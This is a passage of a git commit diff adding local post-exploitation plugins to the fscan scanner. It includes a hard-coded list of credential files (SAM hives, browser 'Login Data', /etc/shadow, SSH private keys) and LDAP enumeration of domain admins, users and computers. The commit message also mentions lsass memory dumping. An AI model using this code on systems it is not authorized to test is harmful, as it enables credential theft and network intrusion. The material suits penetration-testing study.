mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 05:56:46 +08:00
feat: 实现本地插件架构迁移与统一管理
- 新建本地插件统一架构,包含接口定义和基础类 - 实现三个本地插件:fileinfo(文件信息收集)、dcinfo(域控信息收集)、minidump(内存转储) - 添加-localplugin参数,支持指定单个本地插件执行 - 完善参数验证机制,本地模式必须指定插件 - 集成新插件系统到核心扫描策略 - 修复Go方法调用机制导致的插件执行问题 - 支持跨平台和权限检查功能 支持的本地插件: - fileinfo: 敏感文件扫描 - dcinfo: Windows域控信息收集 - minidump: lsass进程内存转储 使用方式: fscan -local -localplugin <plugin_name>
This commit is contained in:
parent
4714d27d44
commit
eeaa4c3b3a
@ -149,6 +149,7 @@ func Flag(Info *HostInfo) {
|
||||
flag.BoolVar(&DisablePing, "np", false, i18n.GetText("flag_disable_ping"))
|
||||
flag.BoolVar(&EnableFingerprint, "fingerprint", false, i18n.GetText("flag_enable_fingerprint"))
|
||||
flag.BoolVar(&LocalMode, "local", false, i18n.GetText("flag_local_mode"))
|
||||
flag.StringVar(&LocalPlugin, "localplugin", "", i18n.GetText("flag_local_plugin"))
|
||||
flag.BoolVar(&AliveOnly, "ao", false, i18n.GetText("flag_alive_only"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
@ -233,6 +234,9 @@ func Flag(Info *HostInfo) {
|
||||
// 更新进度条显示状态
|
||||
ShowProgress = !DisableProgress
|
||||
|
||||
// 同步配置到core包
|
||||
SyncToCore()
|
||||
|
||||
// 如果显示帮助或者没有提供目标,显示帮助信息并退出
|
||||
if showHelp || shouldShowHelp(Info) {
|
||||
flag.Usage()
|
||||
@ -334,7 +338,12 @@ func preProcessLanguage() {
|
||||
// shouldShowHelp 检查是否应该显示帮助信息
|
||||
func shouldShowHelp(Info *HostInfo) bool {
|
||||
// 检查是否提供了扫描目标
|
||||
hasTarget := Info.Host != "" || TargetURL != "" || LocalMode
|
||||
hasTarget := Info.Host != "" || TargetURL != ""
|
||||
|
||||
// 本地模式需要指定插件才算有效目标
|
||||
if LocalMode && LocalPlugin != "" {
|
||||
hasTarget = true
|
||||
}
|
||||
|
||||
// 如果没有提供任何扫描目标,则显示帮助
|
||||
if !hasTarget {
|
||||
@ -350,4 +359,35 @@ func checkParameterConflicts() {
|
||||
if AliveOnly && ScanMode == "icmp" {
|
||||
LogBase(i18n.GetText("param_conflict_ao_icmp_both"))
|
||||
}
|
||||
|
||||
// 检查本地模式和本地插件参数
|
||||
if LocalMode {
|
||||
if LocalPlugin == "" {
|
||||
fmt.Printf("错误: 使用本地扫描模式 (-local) 时必须指定一个本地插件 (-localplugin)\n")
|
||||
fmt.Printf("可用的本地插件: fileinfo, dcinfo, minidump\n")
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// 验证本地插件名称
|
||||
validPlugins := []string{"fileinfo", "dcinfo", "minidump"}
|
||||
isValid := false
|
||||
for _, valid := range validPlugins {
|
||||
if LocalPlugin == valid {
|
||||
isValid = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if !isValid {
|
||||
fmt.Printf("错误: 无效的本地插件 '%s'\n", LocalPlugin)
|
||||
fmt.Printf("可用的本地插件: fileinfo, dcinfo, minidump\n")
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
|
||||
// 如果指定了本地插件但未启用本地模式
|
||||
if !LocalMode && LocalPlugin != "" {
|
||||
fmt.Printf("错误: 指定本地插件 (-localplugin) 时必须启用本地模式 (-local)\n")
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
|
@ -17,6 +17,7 @@ var (
|
||||
Timeout int64 // 超时时间
|
||||
DisablePing bool // 禁用ping
|
||||
LocalMode bool // 本地模式
|
||||
LocalPlugin string // 本地插件选择
|
||||
|
||||
// 基础认证配置
|
||||
Username string // 用户名
|
||||
|
@ -40,6 +40,7 @@ var (
|
||||
Timeout int64 // 直接映射到base.Timeout
|
||||
DisablePing bool // 直接映射到base.DisablePing
|
||||
LocalMode bool // 直接映射到base.LocalMode
|
||||
LocalPlugin string // 本地插件选择
|
||||
AliveOnly bool // 仅存活探测模式
|
||||
)
|
||||
|
||||
@ -105,6 +106,7 @@ func SyncFromCore() {
|
||||
Timeout = base.Timeout
|
||||
DisablePing = base.DisablePing
|
||||
LocalMode = base.LocalMode
|
||||
LocalPlugin = base.LocalPlugin
|
||||
|
||||
Username = base.Username
|
||||
Password = base.Password
|
||||
@ -129,6 +131,7 @@ func SyncToCore() {
|
||||
base.Timeout = Timeout
|
||||
base.DisablePing = DisablePing
|
||||
base.LocalMode = LocalMode
|
||||
base.LocalPlugin = LocalPlugin
|
||||
|
||||
base.Username = Username
|
||||
base.Password = Password
|
||||
|
@ -45,6 +45,16 @@ func NewBaseScanStrategy(name string, filterType PluginFilterType) *BaseScanStra
|
||||
|
||||
// GetPlugins 获取插件列表(通用实现)
|
||||
func (b *BaseScanStrategy) GetPlugins() ([]string, bool) {
|
||||
// 本地模式优先使用LocalPlugin参数
|
||||
if b.filterType == FilterLocal && common.LocalPlugin != "" {
|
||||
if GlobalPluginAdapter.PluginExists(common.LocalPlugin) {
|
||||
return []string{common.LocalPlugin}, true
|
||||
} else {
|
||||
common.LogError(fmt.Sprintf("指定的本地插件 '%s' 不存在", common.LocalPlugin))
|
||||
return []string{}, true
|
||||
}
|
||||
}
|
||||
|
||||
// 如果指定了特定插件且不是"all"
|
||||
if common.ScanMode != "" && common.ScanMode != "all" {
|
||||
requestedPlugins := parsePluginList(common.ScanMode)
|
||||
|
@ -91,8 +91,13 @@ func (pa *PluginAdapter) ScanWithPlugin(pluginName string, info *common.HostInfo
|
||||
}
|
||||
|
||||
// 处理扫描结果
|
||||
if result != nil && result.Success {
|
||||
if result == nil {
|
||||
common.LogDebug(fmt.Sprintf("插件 %s 返回了空结果", pluginName))
|
||||
} else if result.Success {
|
||||
common.LogDebug(fmt.Sprintf("插件 %s 扫描成功", pluginName))
|
||||
// TODO: 输出扫描结果
|
||||
} else {
|
||||
common.LogDebug(fmt.Sprintf("插件 %s 扫描失败: %v", pluginName, result.Error))
|
||||
}
|
||||
|
||||
return nil
|
||||
|
163
Plugins/local/connector.go
Normal file
163
Plugins/local/connector.go
Normal file
@ -0,0 +1,163 @@
|
||||
package local
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"runtime"
|
||||
"path/filepath"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
// BaseLocalConnector 基础本地连接器实现
|
||||
type BaseLocalConnector struct {
|
||||
workingDir string
|
||||
homeDir string
|
||||
systemInfo map[string]string
|
||||
}
|
||||
|
||||
// LocalConnection 本地连接对象
|
||||
type LocalConnection struct {
|
||||
WorkingDir string
|
||||
HomeDir string
|
||||
SystemInfo map[string]string
|
||||
TempDir string
|
||||
}
|
||||
|
||||
// NewBaseLocalConnector 创建基础本地连接器
|
||||
func NewBaseLocalConnector() (*BaseLocalConnector, error) {
|
||||
homeDir, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
workingDir, err := os.Getwd()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return &BaseLocalConnector{
|
||||
workingDir: workingDir,
|
||||
homeDir: homeDir,
|
||||
systemInfo: make(map[string]string),
|
||||
}, nil
|
||||
}
|
||||
|
||||
// Connect 建立本地连接
|
||||
func (c *BaseLocalConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
|
||||
// 初始化系统信息
|
||||
c.initSystemInfo()
|
||||
|
||||
tempDir := os.TempDir()
|
||||
|
||||
conn := &LocalConnection{
|
||||
WorkingDir: c.workingDir,
|
||||
HomeDir: c.homeDir,
|
||||
SystemInfo: c.systemInfo,
|
||||
TempDir: tempDir,
|
||||
}
|
||||
|
||||
return conn, nil
|
||||
}
|
||||
|
||||
// Close 关闭连接
|
||||
func (c *BaseLocalConnector) Close(conn interface{}) error {
|
||||
// 本地连接无需特殊关闭操作
|
||||
return nil
|
||||
}
|
||||
|
||||
// GetSystemInfo 获取系统信息
|
||||
func (c *BaseLocalConnector) GetSystemInfo(conn interface{}) (map[string]string, error) {
|
||||
localConn, ok := conn.(*LocalConnection)
|
||||
if !ok {
|
||||
return nil, fmt.Errorf("无效的连接类型")
|
||||
}
|
||||
|
||||
return localConn.SystemInfo, nil
|
||||
}
|
||||
|
||||
// initSystemInfo 初始化系统信息
|
||||
func (c *BaseLocalConnector) initSystemInfo() {
|
||||
c.systemInfo["os"] = runtime.GOOS
|
||||
c.systemInfo["arch"] = runtime.GOARCH
|
||||
c.systemInfo["home_dir"] = c.homeDir
|
||||
c.systemInfo["working_dir"] = c.workingDir
|
||||
c.systemInfo["temp_dir"] = os.TempDir()
|
||||
|
||||
// 获取用户名
|
||||
if username := os.Getenv("USER"); username != "" {
|
||||
c.systemInfo["username"] = username
|
||||
} else if username := os.Getenv("USERNAME"); username != "" {
|
||||
c.systemInfo["username"] = username
|
||||
}
|
||||
|
||||
// 获取主机名
|
||||
if hostname, err := os.Hostname(); err == nil {
|
||||
c.systemInfo["hostname"] = hostname
|
||||
}
|
||||
}
|
||||
|
||||
// GetCommonDirectories 获取常见目录路径
|
||||
func (c *BaseLocalConnector) GetCommonDirectories() []string {
|
||||
var dirs []string
|
||||
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
dirs = []string{
|
||||
c.homeDir,
|
||||
filepath.Join(c.homeDir, "Desktop"),
|
||||
filepath.Join(c.homeDir, "Documents"),
|
||||
filepath.Join(c.homeDir, "Downloads"),
|
||||
"C:\\Users\\Public\\Documents",
|
||||
"C:\\Users\\Public\\Desktop",
|
||||
"C:\\Program Files",
|
||||
"C:\\Program Files (x86)",
|
||||
}
|
||||
case "linux", "darwin":
|
||||
dirs = []string{
|
||||
c.homeDir,
|
||||
filepath.Join(c.homeDir, "Desktop"),
|
||||
filepath.Join(c.homeDir, "Documents"),
|
||||
filepath.Join(c.homeDir, "Downloads"),
|
||||
"/opt",
|
||||
"/usr/local",
|
||||
"/var/www",
|
||||
"/var/log",
|
||||
}
|
||||
}
|
||||
|
||||
return dirs
|
||||
}
|
||||
|
||||
// GetSensitiveFiles 获取敏感文件路径
|
||||
func (c *BaseLocalConnector) GetSensitiveFiles() []string {
|
||||
var files []string
|
||||
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
files = []string{
|
||||
"C:\\boot.ini",
|
||||
"C:\\windows\\system32\\inetsrv\\MetaBase.xml",
|
||||
"C:\\windows\\repair\\sam",
|
||||
"C:\\windows\\system32\\config\\sam",
|
||||
filepath.Join(c.homeDir, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"),
|
||||
filepath.Join(c.homeDir, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"),
|
||||
filepath.Join(c.homeDir, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"),
|
||||
}
|
||||
case "linux", "darwin":
|
||||
files = []string{
|
||||
"/etc/passwd",
|
||||
"/etc/shadow",
|
||||
"/etc/hosts",
|
||||
"/etc/ssh/ssh_config",
|
||||
"/root/.ssh/id_rsa",
|
||||
"/root/.ssh/authorized_keys",
|
||||
"/root/.bash_history",
|
||||
filepath.Join(c.homeDir, ".ssh/id_rsa"),
|
||||
filepath.Join(c.homeDir, ".ssh/authorized_keys"),
|
||||
filepath.Join(c.homeDir, ".bash_history"),
|
||||
}
|
||||
}
|
||||
|
||||
return files
|
||||
}
|
453
Plugins/local/dcinfo/plugin.go
Normal file
453
Plugins/local/dcinfo/plugin.go
Normal file
@ -0,0 +1,453 @@
|
||||
//go:build windows
|
||||
|
||||
package dcinfo
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"github.com/go-ldap/ldap/v3"
|
||||
"github.com/go-ldap/ldap/v3/gssapi"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
"github.com/shadow1ng/fscan/plugins/local"
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// DCInfoPlugin 域控信息收集插件
|
||||
type DCInfoPlugin struct {
|
||||
*local.BaseLocalPlugin
|
||||
connector *DCInfoConnector
|
||||
}
|
||||
|
||||
// DCInfoConnector 域控信息连接器
|
||||
type DCInfoConnector struct {
|
||||
*local.BaseLocalConnector
|
||||
conn *ldap.Conn
|
||||
baseDN string
|
||||
}
|
||||
|
||||
// DomainConnection 域连接对象
|
||||
type DomainConnection struct {
|
||||
*local.LocalConnection
|
||||
LDAPConn *ldap.Conn
|
||||
BaseDN string
|
||||
Domain string
|
||||
}
|
||||
|
||||
// NewDCInfoPlugin 创建域控信息收集插件
|
||||
func NewDCInfoPlugin() *DCInfoPlugin {
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "dcinfo",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "Windows域控制器信息收集插件",
|
||||
Category: "local",
|
||||
Tags: []string{"local", "domain", "ldap", "windows"},
|
||||
Protocols: []string{"local"},
|
||||
}
|
||||
|
||||
connector := NewDCInfoConnector()
|
||||
plugin := &DCInfoPlugin{
|
||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
|
||||
connector: connector,
|
||||
}
|
||||
|
||||
// 仅支持Windows平台
|
||||
plugin.SetPlatformSupport([]string{"windows"})
|
||||
// 需要域环境权限
|
||||
plugin.SetRequiresPrivileges(false) // 使用当前用户凭据
|
||||
|
||||
return plugin
|
||||
}
|
||||
|
||||
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
||||
func (p *DCInfoPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
return p.ScanLocal(ctx, info)
|
||||
}
|
||||
|
||||
// NewDCInfoConnector 创建域控信息连接器
|
||||
func NewDCInfoConnector() *DCInfoConnector {
|
||||
baseConnector, _ := local.NewBaseLocalConnector()
|
||||
|
||||
return &DCInfoConnector{
|
||||
BaseLocalConnector: baseConnector,
|
||||
}
|
||||
}
|
||||
|
||||
// Connect 建立域控连接
|
||||
func (c *DCInfoConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
|
||||
// 先建立基础本地连接
|
||||
localConn, err := c.BaseLocalConnector.Connect(ctx, info)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
baseConn := localConn.(*local.LocalConnection)
|
||||
|
||||
// 获取域控制器地址
|
||||
dcHost, domain, err := c.getDomainController()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("获取域控制器失败: %v", err)
|
||||
}
|
||||
|
||||
// 建立LDAP连接
|
||||
ldapConn, baseDN, err := c.connectToLDAP(dcHost, domain)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("LDAP连接失败: %v", err)
|
||||
}
|
||||
|
||||
domainConn := &DomainConnection{
|
||||
LocalConnection: baseConn,
|
||||
LDAPConn: ldapConn,
|
||||
BaseDN: baseDN,
|
||||
Domain: domain,
|
||||
}
|
||||
|
||||
return domainConn, nil
|
||||
}
|
||||
|
||||
// Close 关闭域控连接
|
||||
func (c *DCInfoConnector) Close(conn interface{}) error {
|
||||
if domainConn, ok := conn.(*DomainConnection); ok {
|
||||
if domainConn.LDAPConn != nil {
|
||||
domainConn.LDAPConn.Close()
|
||||
}
|
||||
}
|
||||
return c.BaseLocalConnector.Close(conn)
|
||||
}
|
||||
|
||||
// getDomainController 获取域控制器地址
|
||||
func (c *DCInfoConnector) getDomainController() (string, string, error) {
|
||||
common.LogDebug("开始查询域控制器地址...")
|
||||
|
||||
// 使用wmic获取域名
|
||||
cmd := exec.Command("wmic", "computersystem", "get", "domain")
|
||||
output, err := cmd.Output()
|
||||
if err != nil {
|
||||
return "", "", fmt.Errorf("获取域名失败: %v", err)
|
||||
}
|
||||
|
||||
lines := strings.Split(string(output), "\n")
|
||||
if len(lines) < 2 {
|
||||
return "", "", fmt.Errorf("未找到域名")
|
||||
}
|
||||
|
||||
domain := strings.TrimSpace(lines[1])
|
||||
if domain == "" || domain == "WORKGROUP" {
|
||||
return "", "", fmt.Errorf("当前机器未加入域")
|
||||
}
|
||||
|
||||
common.LogDebug(fmt.Sprintf("获取到域名: %s", domain))
|
||||
|
||||
// 使用nslookup查询域控制器
|
||||
cmd = exec.Command("nslookup", "-type=SRV", fmt.Sprintf("_ldap._tcp.dc._msdcs.%s", domain))
|
||||
output, err = cmd.Output()
|
||||
if err != nil {
|
||||
return "", "", fmt.Errorf("查询域控制器失败: %v", err)
|
||||
}
|
||||
|
||||
// 解析nslookup输出
|
||||
lines = strings.Split(string(output), "\n")
|
||||
for _, line := range lines {
|
||||
if strings.Contains(line, "svr hostname") {
|
||||
parts := strings.Split(line, "=")
|
||||
if len(parts) > 1 {
|
||||
dcHost := strings.TrimSpace(parts[1])
|
||||
dcHost = strings.TrimSuffix(dcHost, ".")
|
||||
common.LogSuccess(fmt.Sprintf("找到域控制器: %s", dcHost))
|
||||
return dcHost, domain, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 备选方案:使用域名直接构造
|
||||
dcHost := fmt.Sprintf("dc.%s", domain)
|
||||
return dcHost, domain, nil
|
||||
}
|
||||
|
||||
// connectToLDAP 连接到LDAP服务器
|
||||
func (c *DCInfoConnector) connectToLDAP(dcHost, domain string) (*ldap.Conn, string, error) {
|
||||
// 创建SSPI客户端
|
||||
ldapClient, err := gssapi.NewSSPIClient()
|
||||
if err != nil {
|
||||
return nil, "", fmt.Errorf("创建SSPI客户端失败: %v", err)
|
||||
}
|
||||
defer ldapClient.Close()
|
||||
|
||||
// 创建LDAP连接
|
||||
conn, err := ldap.DialURL(fmt.Sprintf("ldap://%s:389", dcHost))
|
||||
if err != nil {
|
||||
return nil, "", fmt.Errorf("LDAP连接失败: %v", err)
|
||||
}
|
||||
|
||||
// 使用GSSAPI进行绑定
|
||||
err = conn.GSSAPIBind(ldapClient, fmt.Sprintf("ldap/%s", dcHost), "")
|
||||
if err != nil {
|
||||
conn.Close()
|
||||
return nil, "", fmt.Errorf("GSSAPI绑定失败: %v", err)
|
||||
}
|
||||
|
||||
// 获取BaseDN
|
||||
baseDN, err := c.getBaseDN(conn, domain)
|
||||
if err != nil {
|
||||
conn.Close()
|
||||
return nil, "", err
|
||||
}
|
||||
|
||||
return conn, baseDN, nil
|
||||
}
|
||||
|
||||
// getBaseDN 获取BaseDN
|
||||
func (c *DCInfoConnector) getBaseDN(conn *ldap.Conn, domain string) (string, error) {
|
||||
searchRequest := ldap.NewSearchRequest(
|
||||
"",
|
||||
ldap.ScopeBaseObject,
|
||||
ldap.NeverDerefAliases,
|
||||
0, 0, false,
|
||||
"(objectClass=*)",
|
||||
[]string{"defaultNamingContext"},
|
||||
nil,
|
||||
)
|
||||
|
||||
result, err := conn.Search(searchRequest)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("获取defaultNamingContext失败: %v", err)
|
||||
}
|
||||
|
||||
if len(result.Entries) == 0 {
|
||||
// 备选方案:从域名构造BaseDN
|
||||
parts := strings.Split(domain, ".")
|
||||
var dn []string
|
||||
for _, part := range parts {
|
||||
dn = append(dn, fmt.Sprintf("DC=%s", part))
|
||||
}
|
||||
return strings.Join(dn, ","), nil
|
||||
}
|
||||
|
||||
baseDN := result.Entries[0].GetAttributeValue("defaultNamingContext")
|
||||
if baseDN == "" {
|
||||
return "", fmt.Errorf("获取BaseDN失败")
|
||||
}
|
||||
|
||||
return baseDN, nil
|
||||
}
|
||||
|
||||
// ScanLocal 执行域控信息扫描
|
||||
func (p *DCInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
common.LogBase("开始域控制器信息收集...")
|
||||
|
||||
// 建立域控连接
|
||||
conn, err := p.connector.Connect(ctx, info)
|
||||
if err != nil {
|
||||
return &base.ScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("域控连接失败: %v", err),
|
||||
}, nil
|
||||
}
|
||||
defer p.connector.Close(conn)
|
||||
|
||||
domainConn := conn.(*DomainConnection)
|
||||
|
||||
// 收集域信息
|
||||
domainData := make(map[string]interface{})
|
||||
|
||||
// 获取特殊计算机
|
||||
if specialComputers, err := p.getSpecialComputers(domainConn); err == nil {
|
||||
domainData["special_computers"] = specialComputers
|
||||
}
|
||||
|
||||
// 获取域用户
|
||||
if users, err := p.getDomainUsers(domainConn); err == nil {
|
||||
domainData["domain_users"] = users
|
||||
}
|
||||
|
||||
// 获取域管理员
|
||||
if admins, err := p.getDomainAdmins(domainConn); err == nil {
|
||||
domainData["domain_admins"] = admins
|
||||
}
|
||||
|
||||
// 获取计算机信息
|
||||
if computers, err := p.getComputers(domainConn); err == nil {
|
||||
domainData["computers"] = computers
|
||||
}
|
||||
|
||||
result := &base.ScanResult{
|
||||
Success: len(domainData) > 0,
|
||||
Service: "DCInfo",
|
||||
Banner: fmt.Sprintf("域: %s", domainConn.Domain),
|
||||
Extra: domainData,
|
||||
}
|
||||
|
||||
common.LogSuccess("域控制器信息收集完成")
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// getSpecialComputers 获取特殊计算机
|
||||
func (p *DCInfoPlugin) getSpecialComputers(conn *DomainConnection) (map[string][]string, error) {
|
||||
results := make(map[string][]string)
|
||||
|
||||
// 获取域控制器
|
||||
dcQuery := ldap.NewSearchRequest(
|
||||
conn.BaseDN,
|
||||
ldap.ScopeWholeSubtree,
|
||||
ldap.NeverDerefAliases,
|
||||
0, 0, false,
|
||||
"(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))",
|
||||
[]string{"cn"},
|
||||
nil,
|
||||
)
|
||||
|
||||
if sr, err := conn.LDAPConn.SearchWithPaging(dcQuery, 10000); err == nil {
|
||||
var dcs []string
|
||||
for _, entry := range sr.Entries {
|
||||
if name := entry.GetAttributeValue("cn"); name != "" {
|
||||
dcs = append(dcs, name)
|
||||
}
|
||||
}
|
||||
if len(dcs) > 0 {
|
||||
results["域控制器"] = dcs
|
||||
common.LogSuccess(fmt.Sprintf("发现 %d 个域控制器", len(dcs)))
|
||||
}
|
||||
}
|
||||
|
||||
return results, nil
|
||||
}
|
||||
|
||||
// getDomainUsers 获取域用户
|
||||
func (p *DCInfoPlugin) getDomainUsers(conn *DomainConnection) ([]string, error) {
|
||||
searchRequest := ldap.NewSearchRequest(
|
||||
conn.BaseDN,
|
||||
ldap.ScopeWholeSubtree,
|
||||
ldap.NeverDerefAliases,
|
||||
0, 0, false,
|
||||
"(&(objectCategory=person)(objectClass=user))",
|
||||
[]string{"sAMAccountName"},
|
||||
nil,
|
||||
)
|
||||
|
||||
sr, err := conn.LDAPConn.SearchWithPaging(searchRequest, 1000) // 限制返回数量
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var users []string
|
||||
for _, entry := range sr.Entries {
|
||||
if username := entry.GetAttributeValue("sAMAccountName"); username != "" {
|
||||
users = append(users, username)
|
||||
}
|
||||
}
|
||||
|
||||
if len(users) > 0 {
|
||||
common.LogSuccess(fmt.Sprintf("发现 %d 个域用户", len(users)))
|
||||
}
|
||||
|
||||
return users, nil
|
||||
}
|
||||
|
||||
// getDomainAdmins 获取域管理员
|
||||
func (p *DCInfoPlugin) getDomainAdmins(conn *DomainConnection) ([]string, error) {
|
||||
searchRequest := ldap.NewSearchRequest(
|
||||
conn.BaseDN,
|
||||
ldap.ScopeWholeSubtree,
|
||||
ldap.NeverDerefAliases,
|
||||
0, 0, false,
|
||||
"(&(objectCategory=group)(cn=Domain Admins))",
|
||||
[]string{"member"},
|
||||
nil,
|
||||
)
|
||||
|
||||
sr, err := conn.LDAPConn.SearchWithPaging(searchRequest, 10000)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var admins []string
|
||||
if len(sr.Entries) > 0 {
|
||||
members := sr.Entries[0].GetAttributeValues("member")
|
||||
for _, memberDN := range members {
|
||||
// 简化:仅提取CN部分
|
||||
if parts := strings.Split(memberDN, ","); len(parts) > 0 {
|
||||
if cnPart := parts[0]; strings.HasPrefix(cnPart, "CN=") {
|
||||
adminName := strings.TrimPrefix(cnPart, "CN=")
|
||||
admins = append(admins, adminName)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if len(admins) > 0 {
|
||||
common.LogSuccess(fmt.Sprintf("发现 %d 个域管理员", len(admins)))
|
||||
}
|
||||
|
||||
return admins, nil
|
||||
}
|
||||
|
||||
// getComputers 获取域计算机
|
||||
func (p *DCInfoPlugin) getComputers(conn *DomainConnection) ([]map[string]string, error) {
|
||||
searchRequest := ldap.NewSearchRequest(
|
||||
conn.BaseDN,
|
||||
ldap.ScopeWholeSubtree,
|
||||
ldap.NeverDerefAliases,
|
||||
0, 0, false,
|
||||
"(&(objectClass=computer))",
|
||||
[]string{"cn", "operatingSystem", "dNSHostName"},
|
||||
nil,
|
||||
)
|
||||
|
||||
sr, err := conn.LDAPConn.SearchWithPaging(searchRequest, 1000) // 限制返回数量
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var computers []map[string]string
|
||||
for _, entry := range sr.Entries {
|
||||
computer := map[string]string{
|
||||
"name": entry.GetAttributeValue("cn"),
|
||||
"os": entry.GetAttributeValue("operatingSystem"),
|
||||
"dns": entry.GetAttributeValue("dNSHostName"),
|
||||
}
|
||||
computers = append(computers, computer)
|
||||
}
|
||||
|
||||
if len(computers) > 0 {
|
||||
common.LogSuccess(fmt.Sprintf("发现 %d 台域计算机", len(computers)))
|
||||
}
|
||||
|
||||
return computers, nil
|
||||
}
|
||||
|
||||
// GetLocalData 获取域本地数据
|
||||
func (p *DCInfoPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
|
||||
data := make(map[string]interface{})
|
||||
data["plugin_type"] = "dcinfo"
|
||||
data["requires_domain"] = true
|
||||
return data, nil
|
||||
}
|
||||
|
||||
// ExtractData 提取域数据
|
||||
func (p *DCInfoPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
|
||||
return &base.ExploitResult{
|
||||
Success: true,
|
||||
Output: "域控信息收集完成",
|
||||
Data: data,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// 插件注册函数
|
||||
func init() {
|
||||
base.GlobalPluginRegistry.Register("dcinfo", base.NewSimplePluginFactory(
|
||||
&base.PluginMetadata{
|
||||
Name: "dcinfo",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "Windows域控制器信息收集插件",
|
||||
Category: "local",
|
||||
Tags: []string{"local", "domain", "ldap", "windows"},
|
||||
Protocols: []string{"local"},
|
||||
},
|
||||
func() base.Plugin {
|
||||
return NewDCInfoPlugin()
|
||||
},
|
||||
))
|
||||
}
|
275
Plugins/local/fileinfo/plugin.go
Normal file
275
Plugins/local/fileinfo/plugin.go
Normal file
@ -0,0 +1,275 @@
|
||||
package fileinfo
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
"github.com/shadow1ng/fscan/plugins/local"
|
||||
)
|
||||
|
||||
// FileInfoPlugin 文件信息收集插件
|
||||
type FileInfoPlugin struct {
|
||||
*local.BaseLocalPlugin
|
||||
connector *FileInfoConnector
|
||||
|
||||
// 配置选项
|
||||
blacklist []string
|
||||
whitelist []string
|
||||
}
|
||||
|
||||
// FileInfoConnector 文件信息连接器
|
||||
type FileInfoConnector struct {
|
||||
*local.BaseLocalConnector
|
||||
sensitiveFiles []string
|
||||
searchDirs []string
|
||||
}
|
||||
|
||||
// NewFileInfoPlugin 创建文件信息收集插件
|
||||
func NewFileInfoPlugin() *FileInfoPlugin {
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "fileinfo",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "本地敏感文件信息收集插件",
|
||||
Category: "local",
|
||||
Tags: []string{"local", "fileinfo", "sensitive"},
|
||||
Protocols: []string{"local"},
|
||||
}
|
||||
|
||||
connector := NewFileInfoConnector()
|
||||
plugin := &FileInfoPlugin{
|
||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
|
||||
connector: connector,
|
||||
blacklist: []string{
|
||||
".exe", ".dll", ".png", ".jpg", ".bmp", ".xml", ".bin",
|
||||
".dat", ".manifest", "locale", "winsxs", "windows\\sys",
|
||||
},
|
||||
whitelist: []string{
|
||||
"密码", "账号", "账户", "配置", "服务器",
|
||||
"数据库", "备忘", "常用", "通讯录",
|
||||
"password", "config", "credential", "key", "secret",
|
||||
},
|
||||
}
|
||||
|
||||
// 设置平台支持
|
||||
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
|
||||
|
||||
return plugin
|
||||
}
|
||||
|
||||
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
||||
func (p *FileInfoPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
return p.ScanLocal(ctx, info)
|
||||
}
|
||||
|
||||
// NewFileInfoConnector 创建文件信息连接器
|
||||
func NewFileInfoConnector() *FileInfoConnector {
|
||||
baseConnector, _ := local.NewBaseLocalConnector()
|
||||
|
||||
connector := &FileInfoConnector{
|
||||
BaseLocalConnector: baseConnector,
|
||||
}
|
||||
|
||||
connector.initSensitiveFiles()
|
||||
|
||||
return connector
|
||||
}
|
||||
|
||||
// initSensitiveFiles 初始化敏感文件列表
|
||||
